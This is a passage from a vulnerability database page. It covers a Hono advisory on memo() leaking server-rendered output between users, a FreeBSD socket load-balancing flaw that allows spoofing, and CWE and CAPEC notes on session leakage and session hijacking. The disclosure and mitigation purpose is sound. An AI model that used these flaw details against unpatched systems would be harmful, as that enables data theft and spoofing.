HTML, such as CSRF tokens\n- Exposure of role-specific content to users who should not receive it\n\nExploitation depends on the order in which renders populate the retained value and on both requests reaching the same warm instance.\n\nThis issue affects applications that render with `hono/jsx` on the server and wrap a component reading ambient request state in `memo()`. Applications that pass all request-specific values through props, or that do not use `memo()`, are unaffected. Client-side rendering is unaffected.",
  "id": "GHSA-f23p-vx2j-j53r",
  "modified": "2026-08-07T18:42:01Z",
  "published": "2026-08-07T18:42:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-f23p-vx2j-j53r"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/commit/0c45036d6b0ddf42ab2fa44639dc8710825d5c0f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/hono"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/releases/tag/v4.12.34"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hono: `memo()` retains SSR output across requests, leading to cross-user data disclosure"
}

GHSA-H546-6X4H-W6Q7

Vulnerability from github – Published: 2025-10-22 18:30 – Updated: 2026-04-24 00:31
VLAI
Details

Software which sets SO_REUSEPORT_LB on a socket and then connects it to a host will not directly observe any problems. However, due to its membership in a load-balancing group, that socket will receive packets originating from any host. This breaks the contract of the connect(2) and implied connect via sendto(2), and may leave the application vulnerable to spoofing attacks.

The kernel failed to check the connection state of sockets when adding them to load-balancing groups. Furthermore, when looking up the destination socket for an incoming packet, the kernel will match a socket belonging to a load-balancing group even if it is connected, in violation of the contract that connected sockets are only supposed to receive packets originating from the connected host.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-24934"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-488"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-22T18:15:34Z",
    "severity": "MODERATE"
  },
  "details": "Software which sets SO_REUSEPORT_LB on a socket and then connects it to a host will not directly observe any problems.  However, due to its membership in a load-balancing group, that socket will receive packets originating from any host.  This breaks the contract of the connect(2) and implied connect via sendto(2), and may leave the application vulnerable to spoofing attacks.\n\n\n\n\nThe kernel failed to check the connection state of sockets when adding them to load-balancing groups.  Furthermore, when looking up the destination socket for an incoming packet, the kernel will match a socket belonging to a load-balancing group even if it is connected, in violation of the contract that connected sockets\u00a0are only supposed to receive packets originating from the connected host.",
  "id": "GHSA-h546-6x4h-w6q7",
  "modified": "2026-04-24T00:31:50Z",
  "published": "2025-10-22T18:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24934"
    },
    {
      "type": "WEB",
      "url": "https://security.freebsd.org/advisories/FreeBSD-SA-25:09.netinet.asc"
    },
    {
      "type": "WEB",
      "url": "https://www.usenix.org/system/files/conference/usenixsecurity26/sec26_prepub_ben-simhon.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Protect the application's sessions from information leakage. Make sure that a session's data is not used or visible by other sessions.

Mitigation
Testing

Use a static analysis tool to scan the code for information leakage vulnerabilities (e.g. Singleton Member Field).

Mitigation
Architecture and Design

In a multithreading environment, storing user data in Servlet member fields introduces a data access race condition. Do not use member fields to store information in the Servlet.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.